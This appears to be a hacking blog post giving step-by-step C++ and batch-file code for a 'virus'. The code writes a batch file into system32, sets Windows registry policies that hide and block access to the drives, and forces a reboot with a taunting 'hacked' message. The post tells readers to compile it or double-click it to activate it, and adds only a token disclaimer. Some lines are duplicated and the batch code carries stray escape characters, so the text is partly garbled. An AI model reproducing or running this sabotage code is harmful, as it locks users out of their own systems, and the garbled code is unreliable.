Hi friends, In my previous posts I have taught you to make many C++ and batch file virus. Once again I am going to do similar thing. Today I will teach you to make a virus which will disable all the hard disks of your computer. Firstly I will give you a c++ program. As everyone doesnt know how to run c++ program, so it may be new thing for them. So for them I will give a same program in batch file. Basic concept is same.
WARNING: RUN AT YOUR OWN RISK.
1. Open any c++ editor.
2. Copy and paste the following code.
#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\DisableHDD.bat" ); /*opening or creating new file with .bat extension*/
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n";
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n";
write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n";
write.close(); //close file
ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\DisableHDD.bat",NULL,NULL,SW_SHOWNORMAL);
return 0;
}
3. Compile and run the program.
BATCH FILE VERSION
Below batch file contains the code that performs the similar job.
1. Open a notepad.
2. Copy and paste the following code.
REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n
REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n
shutdown -r -c \"Hahahhaha! Your system is hacked by TTH!\" -f
3. Save it as "DisableHDD.bat".
REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n
shutdown -r -c \"Hahahhaha! Your system is hacked by TTH!\" -f
3. Save it as "DisableHDD.bat".
4. Double click the batch file to activate the virus.
WARNING: For educational purpose only. Run the virus at YOUR OWN RISK.
Enjoy hacking.
No comments:
Post a Comment
We appreciate your valuable comments.